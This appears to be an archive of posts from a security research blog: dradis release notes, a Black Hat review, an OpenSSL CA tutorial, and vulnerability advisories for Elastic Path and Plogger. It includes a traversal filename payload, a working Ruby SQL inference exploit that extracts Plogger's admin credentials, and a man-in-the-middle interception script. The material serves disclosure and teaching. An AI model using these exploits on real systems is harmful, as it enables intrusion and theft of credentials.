The summary of the features of the v1.2 release:

• in the client:
  • export to XML module is now part of the standard module set.
  • a new implementation of the command line parser: now it is possible to use single and double quotes to pass multi-word arguments to the different commands.
  • fixed the window.rb:159 bug.
• in the server:
  • a slightly less annoying implementation of the web interface auto refresh functionality.
  • the services added through the web interface can have a name now
  • simple prevention against embedded XSS.

You can also download the platform-independent ruby source in the download section of the site.

This post is the first in a series on the subject of enterprise messaging and in particular on IBM’s flavour of it. The objective of these posts will be to remove some of the confusion about its purpose, the technologies and the methods of securing it. Hopefully this will help both security testers and other interested parties to feel confident about this important area of IT security.

When it comes to security testing a business application, how comfortable are you? The answer to that question will probably depend on a number of factors including the following: -

• Is it an internal or external test?
• What technologies are involved?
• What is the business process the application is used for?

Depending on the requirements for testing we might only be asked to look at the web front-end to the application. Or we might be asked to do an internal test of the entire application infrastructure. However, in reality there are lots of business applications that look like the following: -

So why is the big question mark in the middle of the picture? In reality that is a gap in most testing methodologies or in the requirements provided to testers by their clients. In reality the question mark could represent any of the following: -

• The bit of the process the client didn’t ask to be tested.
• The part of the application I don’t understand.
• The software products and solutions that don’t appear in books on hacking or security testing.
• A cloud through which data passes that I don’t need to understand.

Therefore, if we want to test a business application against its security requirements we have a big black hole. We know what the risks associated with the web application and database are? We know how to test the web server and database but what sits in the middle. In an enterprise environment the answer is usually as follows: -

So what is this mystical middleware that we hear so much about but never get to see? In the majority of cases it will involve a messaging or transport application whose responsibility it is to get data to the application that needs it. There are lots of such applications available including Microsoft Message Queuing (MSMQ), Sun Message Queue, IBM Websphere MQ and ActiveMQ.

So if these products exist, how do we test them? Unfortunately I can’t provide an all encompassing answer for that question, but I can tell you all about one of these products, namely IBM’s Websphere MQ. So whether you are interested in Websphere MQ itself, security testing in general or just the risks associated with messaging applications you should have a read of my new white paper on the subject:
Websphere MQ Security White Paper (mirror #1).

The white paper is the first of a series of documents that I intend to produce on the subject and covers a wide range of issues associated with both the product and messaging applications in general. All audiences are catered for, from those with managerial roles in IT through to integrators and security testers. I hope you find the document interesting and if you would like more information on the subject be sure to check out the slides from my Defcon presentation last year: MQ Jumping – Defcon 15 Presentation (mirror #1).

On the next part of this series of blog posts I will be talking about the security architecture of Websphere MQ, stay tuned

I have just arrived from Black Hat Europe 2008 in Amsterdam (this one, not this one). It has been a cool experience, not exactly what I expected but really interesting.

Briefings were held during the 27^th and 28^th of March, and the presentations are available for download. If you want to see what the chef recommends just keep reading…

Here is the list of presentations I attended:-

Day 1

• The Keynote by Ian O. Angell: Digital Security: a Risky Business.
• Client-side Security by Petko D. Petkov.
• Side Channel Analysis on Embedded Systems by Job DeHaas.
• CrackStation by Nick Breese.
• Exposing Vulnerabilities in Media Software by David Thiel.
• The Fundamentals of Physical Security by Deviant Ollam.

Day 2

• Mobile Phone Spying Tools by Jarno Niemela.
• LDAP Injection & Blind LDAP Injection by Chema Alonso & Jose Parada Gimeo.
• DTRACE: The Reverse Engineer’s Unexpected Swiss Army Knife by David Weston & Tiller Beauchamp.
• Intercepting Mobile Phone/GSM Traffic by David Hulton & Steve.
• Hacking Second Life by Michael Thumann.
• Investigating Individuals and Organizations Using Open Source Intelligence by Roelof Temmingh & Chris Böhme.

Favourites

1. Intercepting Mobile Phone/GSM Traffic. Mind blowing, these guys have been researching the topic for 5 years and they have found a software/hardware combination that makes GSM cracking a piece of cake.
2. Investigating Individuals and Organizations Using Open Source Intelligence. Paterva is a nice tool, but the most interesting/scary part of the presentation was the little brainstorming session by Roelof Temmingh on how datamining, online presence and the sources of information may evolve in the future.
3. The Fundamentals of Physical Security. All your locks are belong to us.

There were more business people than nerds but more nerds than girls . Google was recruiting, Microsoft was nowhere to be seen and there was punch and pie all day long.

As for the second question, the sort answer is that chances are that you really do not need one but for the shake of the experiment lets get our hands dirty!

First of all, I need to clarify that my interest in this topic was also risen by the fact that Verisign has switched to a two-tier hierarchy of Certificate Authorities, and this has some implications specially in the configuration of web server software:

“As of April 2006, all SSL certificates issued by VeriSign require the installation of an Intermediate CA Certificate. The SSL certificates are signed by an Intermediate CA using a two-tier hierarchy (also known as trust chain) which enhances the security of your SSL Certificate. If the proper Intermediate CA is not installed on the server, your customers will see browser errors and may choose not to proceed further and close their browser.” (boldface is mine)

This means that while the users do not need to modify anything (if their browser already has Verisigns Root CA certificate) the server owners need to ensure that the server is able to provide the so called trust chain to the users’ browser when the SSL handshake is performed.

Never mind, lets get back to it. In order to get your Intermediate CA working, first you need a Root CA (if you already have a CA, feel free to skip the next section). Remember that in order to get this working you need to have a copy of the openssl toolkit installed in your system.

Configure the Root CA

mkdir /var/ca
cd /var/ca/
mkdir certs crl newcerts private
echo "01" > serial
cp /dev/null index.txt
# beware that the location of the sample file is dependent on your environment
cp /usr/lib/ssl/openssl.cnf .

You may want to modify some of the settings in the configuration file to save you some time in the future when creating the certificates: default_bits, countryName, stateOrProvinceName, 0.organizationName_default, organizationalUnitName and emailAddress.

Now you are ready to create the CA:

# generate a private key
openssl genrsa -des3 -out private/cakey.key 4096
# create a self-signed certificate valid for 5 years
openssl req -new -x509 -nodes -sha1 -days 1825 -key private/cakey.pem -out cacert.pem
# go for the default values if you adapted the settings in the openssl.cnf file or enter the values you desire

Now you have everything you need to run a successful CA.

Configure an Intermediate CA

The idea is simple, we will create a new CA following the same template that we used in the previous section, but this time instead of generating a self-signed certificate we will generate a certificate sign request that we will sign using the Root CA.

First we create the folder structure:

cd /var/ca/
mkdir ca2008
cd ca2008
cp ../openssl.cnf .
mkdir certs crl newcerts private
echo "01" > serial
cp /dev/null index.txt

Then the Intermediate CA private key:

#generate the key
openssl genrsa -des3 -out private/cakey.pem 4096
#generate a signing request (valid for 1year)
openssl req -new -sha1 -key private/cakey.pem -out ca2008.csr
# go for the default values if you adapted the settings in the openssl.cnf file or enter the values you desire

Move the sign request to the Root CA directory and sign it:

mv ca2008.csr ..
cd ..
openssl ca -extensions v3_ca -days 365 -out ca2008.crt -in ca2008.csr -config openssl.cnf
mv ca2008.* ca2008/
cd ca2008/
mv ca2008.crt cacert.pem

And that was it. The next thing to do is start using your Intermediate CA to sign your new certificates. But just before that, remember that
to verify a certificate signed by an Intermediate CA the web browser has to verify both the certificate against the Intermediate CA and the certificate of the Intermediate CA against a Root CA.

In order to allow the browser to do this, a certificate chain file needs to be installed in the server. A certificate chain is a plaintext file that contains all the certificates from the Authority issuing a given certificate up to the Root of the certificate tree. In this case our chain has only two levels and the chain file is created like this:-

# first the intermediate CA certificate
cat cacert.pem > chain.crt
# then the Root CA cert
cat ../cacert.pem >> chain.crt

This file is the one you need to specify in the SSLCertificateChainFile of your server.

Create a new server certificate

# make sure you are in the Intermediate CA folder and not in the Root CA one
cd /var/ca/ca2008/
# create the private key
openssl genrsa -des3 -out {server_name}.key 4096
# generate a certificate sign request
openssl req -new -key {server_name}.key -out {server_name}.csr  
# sign the request with the Intermediate CA
openssl ca -config openssl.cnf -policy policy_anything -out {server_name}.crt -infiles {server_name}.csr
# and store the server files in the certs/ directory
mkdir certs/{server_name}
mv {server_name}.key {server_name}.csr {server_name}.crt certs/

Then you should securely copy the .key and .crt files to the server and configure it to use them.

Apache server configuration

Just in case you are using Apache server and for the shake of completeness, these are the settings that you need to modify (possibly in your extra/http-ssl.conf):-

SSLCertificateFile /var/ca/ca2008/certs/{server_name}.crt
SSLCertificateKeyFile /var/ca/ca2008/certs/{server_name}.key
SSLCertificateChainFile /var/ca/ca2008/chain.crt

References

• SSL/TLS Strong Encryption: FAQ
• Creating Your Own CA
• Be your own Certificate Authority
• Very brief introduction to create a CA and a CERT

Users of the administrative interface can be granted different levels of access. Research revealed that users with upload/download privileges could abuse them to gain access to arbitrary files in the remote system (read the security advisory – mirror #1, mirror #2).

update: a link to the patch is available in Elastic Path Developer’s site (thanks to d-dub).
update: this vulnerability has been assigned the following CVE number: CVE-2008-1606.

Arbitrary File Download

The script used by Elastic Path when the user requests the download of a file was found to be vulnerable to directory traversal attacks. Insufficient validation in the file parameter could enable an attacker to download arbitrary files from the remote system.

Arbitrary File Upload

The script used by Elastic Path to handle the upload file request was found not to apply sufficient validation to the user input. As a result an attacker could use the importData.jsp file to upload arbitrary files to arbitrary locations in the remote web server.

The input validation filters can be bypassed by submitting a specially crafted file name such as:

../......Browser.jsp

File System Browse

Elastic Path provides a script to manage the resource files associated with the products of the shop (fileManager.jsp). Source code inspection revealed that insufficient validation in the dir parameter could allow an attacker browse through the contents of arbitrary locations of the remote drive.

Dependencies

In order to successfully exploit the attack vector described the user must be logged into the Elastic Path manager application. In addition to this, the logged in user should have download or upload rights to exploit the arbitrary file download and upload vulnerabilities described in this document.

Recommendations

It is recommended that all installations of the software be upgraded to a secure version when this is made available by the vendor.

To reduce the level of risk to which users of the software are exposed it is further advised that the application server be run under a system user account with the lowest level of privilege possible.

It is also recommended that, where possible, the Elastic Path manager application should be subject to network level filtering such that only trusted IP addresses can communicate with the service. It should be noted that this is a generic recommendation and is not specific to this technology.

• New client GUI that runs in Linux, Windows and Mac OS (screenshots).
• New web interface.
• Improved step-by-step installation instructions.
• New contributed modules:
  • Export your Knowledge Base to an XML file.
  • run nmap from dradis and store the results in the knowledge base.

If you want to give it a try, go to the download page. And please let me know any thoughts or feedback (remember that you can use the dradis development mailing list: dradis-devel).

New client GUI

It was too difficult to get the Qt interface running in Windows and Mac platforms, so we have decided to create a new graphical interface, this time truly multi-platform using the WxWdiget toolkit (and the ruby bindings for the toolkit: wxruby).

It runs seamlessly in Linux, Windows and Mac OS. Here are some screenshots:-

If you want to see more, visit the screenshots page.

New web interface.

Because we were struggling to get the old interface running in anything different than Linux, we thought that in order to make the platform more flexible and portable a new web interface should be created.

We took the old one apart and started a brand new dynamic web interface that would enable the testers to use dradis as if they had a thick client installed. The screenshots page will give you a grasp of its power.

New contributed modules

Some new amazing plugins contributed by the dradis community were released with version v1.1:-

• Export your Knowledge Base to an XML file.
• run nmap from dradis and store the results in the knowledge base.

Find these and other modules in the discuss & contribute section.

There is also a new set of slides by Sibert Lubbe on “dradis plugin programming”. Find them in the developer manual section of the documentation page.

An input validation mechanism designed to block cross-site scripting attacks performs the following sequence of steps on an item of input:

1.- strip any <script> expressions that appear
2.- truncate the input to 50 characters
3.- remove any quotation marks within the input
4.- url-decode the input
5.- if any items were deleted, return to step 1

how would you bypass it?

Now it’s time to see a hands on example on how to exploit a SQL injection vulnerability using this technique. Please note that the intended audience of this article are security researchers that want to gain a deeper knowledge on the nature and internals of SQL inference attacks.

As it is usually the case, depending on the available information beforehand the SQL inference attack that we need to create will vary on its sophistication.

In the Plogger example we have plenty of information, remember that it is and open source tool that you can download and install. However, since SQL inference is a complex vulnerability to exploit a stripped down version of the attack is used in this example.

In the Plogger example we know the underlaying database structure, the field names and the possible values, we will use that knowledge to create a simplified SQL inference attack based on some restrictions. A full blown example of inference attack using binary comparisons is left for the third part of this series of articles.

Let’s have a look at the interesting bits of the code of a proof of concept:-

# configure the parameters of the target system
$host = 'localhost'
$path = '/gallery/plog-rss.php?level=collection&id=1'

$body_size_success = 967
$body_size_failure = 322

# configure the parameters of the fields whose values we want to infer
$fields = ['admin_username', 'admin_password']
$field_length = [5, 32]
$dictionaries = ['admin', '0123456789abcdef']

The first part of the script contains the configuration information regarding our target. Apart from host name and path to the vulnerable script we define two other sets of information:

• The $body_size_success needs to be adjusted to match the expected length of a full RSS feed, this is the expected size of the HTML code that a clean execution of the injected SQL will return. This size can be measured by doing a legitimate request to the vulnerable script and noting down the value of the content-length header. Our injected SQL can have two possible outcomes, if we correctly guessed the value we are looking for, an RSS feed containing all the elements of the collection will be returned. If on the other hand we make a mistake in our guess, an empty, although syntactically correct, RSS feed will be returned.
• Information on the names, expected lengths and possible values found in the fields we want to infer should be provided. As mentioned before, we are taking advantage of the knowledge we have of the back end database:
  • We will try to infer two fields: admin_username and admin_password.
  • We expect these fields to be of lengths 5 (Ploggers’ default administrative user name is admin) and 32 (the password is stored in MD5 hashed format).
  • We will try the following dictionary for the username: a, d, m, i, n . For the password, all possible Hex values are fair play: 0-9, a-f.

The next thing to do is to craft a custom SQL query that will execute cleanly:-

# define the SQL string we will be using to actually perform the attack
$sql = CGI::escape(' AND 1=(SELECT CASE WHEN (ASCII(SUBSTR(FIELD,POSITION,1))=TEST_VALUE) THEN 1 ELSE 0 END FROM plogger_config)')

As mentioned in the first article (sql injection: inference attack) of this series:

At the core of the inference attack is a simple question. If the answer to this question is A then do Y; if the answer is B then do Z.

In this case we are using the SUBSTR function to walk through the different positions of a given field to compare the character at that position with the one at TEST_VALUE. This is done in the following section of the script:-

# for each field, from position 1 to that defined in $field_length, iterate
# through the different values of our dictionary and send the SQL query.
$fields.each do |field|
  dict = $dictionaries.shift
  size = $field_length.shift
  inferred = ''
  puts "Inferring #{field}"
  puts '=================='
  sql1 = $sql.sub(/FIELD/,field)
  (1..size).each do |i|
    print "\tPosition #{i}: "
    sql = sql1.sub(/POSITION/,i.to_s)
    (0..(dict.size-1)).each do |j|
      value = dict[j]
      resp = http.get($path + sql.sub(/TEST_VALUE/, value.to_s))

      # a particular iteration is successful if the size of the body obtained
      # matches the value we expect
      if (resp.body.size == $body_size_success)
        puts value.chr
        inferred << value.chr
        break
      end
    end
  end
  puts "\tInferred value: #{inferred}"
  $results << inferred
end

The comments in the previous code should give sufficient insight to understand the process. The bottom line: we need to make a series of checks for each position of the value we want to infer. Thes checks have two possible different outcomes, in our case, two different lengths of the HTML code, depending on these outcomes we can infer whether our guess was right or wrong.

As a final note, it should be clear that the specifics of the SQL query, as with any SQL injection attack, is highly dependant on the SQL engine that we are attacking and the SQL functions available in this engine.

It was found that insufficient validation was applied to the input parameters of the script that generates Plogger’s RSS feeds. As a result, SQL code could be injected into Plogger database queries (read the security advisory – mirror #1, mirror #2).

update: this vulnerability has been assigned the following CVE number: CVE-2007-6587.

The vulnerability results from the following PHP code:-

< ?php
//...
$id = isset($_GET["id"]) ? $_GET["id"] : "";
//...
?>

As can be observed, the value of the id parameter is fetched and no input validation is performed. This value is then passed to another function that includes it as part of a database query.

Further investigation revealed that the injected code would be executed in two separate SQL queries:-
Query 1

SELECT COUNT(DISTINCT p.`id`) AS cnt 
  FROM `plogger_pictures` `p`
  LEFT JOIN `plogger_comments` `c` ON `p`.`id`=`c`.`parent_id`
  WHERE p.`parent_collection` = [injected code]

Query 1

SELECT p.*,
  UNIX_TIMESTAMP(`date_submitted`) AS `unix_date_submitted`,
  UNIX_TIMESTAMP(`EXIF_date_taken`) AS `unix_exif_date_taken`,
  COUNT(`comment`) AS `num_comments`
FROM `plogger_pictures` `p`
LEFT JOIN `plogger_comments` `c` ON `p`.`id`=`c`.`parent_id`
WHERE p.`parent_collection` = [injected code]
GROUP BY p.`id` ORDER BY `id` DESC,p.`id` DESC LIMIT 0,15

These two statements are completely different and although it is possible that an SQLstatement could be found that would fit both and would deliver the desired output in-band, other techniques were found to be more appropriate in this case.

Exploit Information
Depending on the injected code, the server will return an error from either the first or the second query, or the queries will execute cleanly with no errors at all. This is an ideal scenario for SQL Injection inference attacks.

Source code inspection revealed that the first query is used to gather the number of images available in the database. This can be used to craft an exploit by inspecting interesting fields in the database and altering the script output depending on these values. For example, the results of the first query could be arranged to contain either a zero or the real number of available images. This, of course, would affect the output of the script. In one case, the RSS feed would contain no images, in the other, it would contain the correct number.

Recommendations

This issue was addressed in the changeset 489. It is recommended that all installations of the software be upgraded to the secure version now available from the vendor’s site. However as an interim workaround the source code of plog-rss.php (line 103) could be patched like this:

< ?php
//...
$id = isset($_GET["id"]) ? intval($_GET["id"]) : "";
//...
?>

To reduce the level of risk to which users of the software are exposed it is further advised that the application be run under a database user account with the lowest level of privilege possible.

The only way we could think of getting our hands on the communication was to write a small set of scripts to trick the client and encapsulate the communication inside HTTP requests that we could then manipulate using standard proxy tools such as burp.

Although the information and scripts described in this post are focussed on intercepting a XML communication, the same principles apply to man in the middle any ASCII protocol such as smtp, ftp or pop.

update: slides available here

The first step is to trick the client to connect to our local box instead of connecting to the remote server, this is done by adjusting the hosts file.

A ruby script will sit in the middle of the communication and will be able to intercept and modify messages sent and received by the client:-

Once this is done, our attack will need three elements:

• the xmitm script.
• an external web proxy tool.
• a dummy web server.

The script will intercept the connection and send the data to the proxy. We need the dummy server (the body of the response will be the body of the request) to close the loop with the proxy (I will add some nice graphs to clarify this soon).

The original XML message is encapsulated in an HTTP request and passed through the proxy. The user can inspect and modify the message using a standard web proxy tool. The request is then forwared to a dummy *echo* web server that replies with the same payload that was requested. The script can extract the modified payload and forward it to the server.

The same process is applied to incoming messages.

Below is the main body of the script (you can also grab the code):-

# create a server that accepts connections from the client
server = TCPServer.new($local_host, $local_port)

while(local = server.accept ) do
  # everytime we accept a connection for the client, we open a connection
  # with the server to stablish the dialog.
  remote = TCPSocket.new($remote_host, $remote_port)
  
  # if one of the ends of the communication closes the socket, we
  # toggle this flag
  alive = true
    
  while alive do
    # see the explanation below
    result = select([local, remote], nil, nil)
  
    if result != nil then
      for socket in result[0]

        # detect if one end of the connection is closed and
        # close the other end
        if (socket.eof?)
          local.close
          remote.close
          alive = false
          break
        end
        
        # read the information that one peer wants to send to the other
        data = socket.gets($eom)

        # encapsulate the data into an HTTP proxy request
        res = Net::HTTP.new($proxy_host, $proxy_port).start do |http| 
          req = Net::HTTP::Post.new("http://#{$dummyhttp_host}:#{$dummyhttp_port}/")
          req.body= data
          http.request(req)
        end

        modified_data = res.body.chomp

        # send the modified data to the other end of the connection        
        if (socket == local)
          remote.puts(modified_data)
        else
          local.puts(modified_data)
        end
        socket.flush
      end
    end
  end
end

What the script does can be summarized in the following steps:

1. Create a TCP server, listening on the port the client is expecting.
2. For each connection accepted:
   • Open a connection with the remote server.
   • Wait until one end of the communication (first the client, then the server, then the client, etc.) has something to transmit.
   • Grab the XML message.
   • Put that message as a payload of a new Net::HTTP::Post request.
   • Send the request to the external web proxy.
   • Grab the body of the response given by the proxy (already modified by the user using the external proxy).
   • Send the modified request to the other end of the line.

The most interesting piece of the code is the one regarding Kernel#select function that waits for data to become available from input/output devices.

A note regarding the specifics of the protocol we were dealing with, each peer ends its messages using a special character (a NULL byte), that caracter is defined in the $eom variable and the script keeps reading the socket until that end of message character is read.

The last piece of the puzzle is the dummy HTTP server. I coded two flavours: a ruby version and a java version (not yet available for download based on the SingleFileHTTPServer example). You can pick your choice. Here is the ruby one:-

require 'webrick'

include WEBrick

# create the server, no output, disable logging
s = HTTPServer.new(
  :Port => 2000,
  :Logger => Log.new(nil, BasicLog::FATAL),
  :AccessLog => []  )

# the *echo* functionality
s.mount_proc("/") do |req, res|
  res.body = req.body
  res['Content-Type'] = req['Content-Type']
end

# clean tear down
trap('INT') { s.shutdown }

s.start

And this completes the XML protocol man-in-the-middle DIY kit. Hope you find it useful.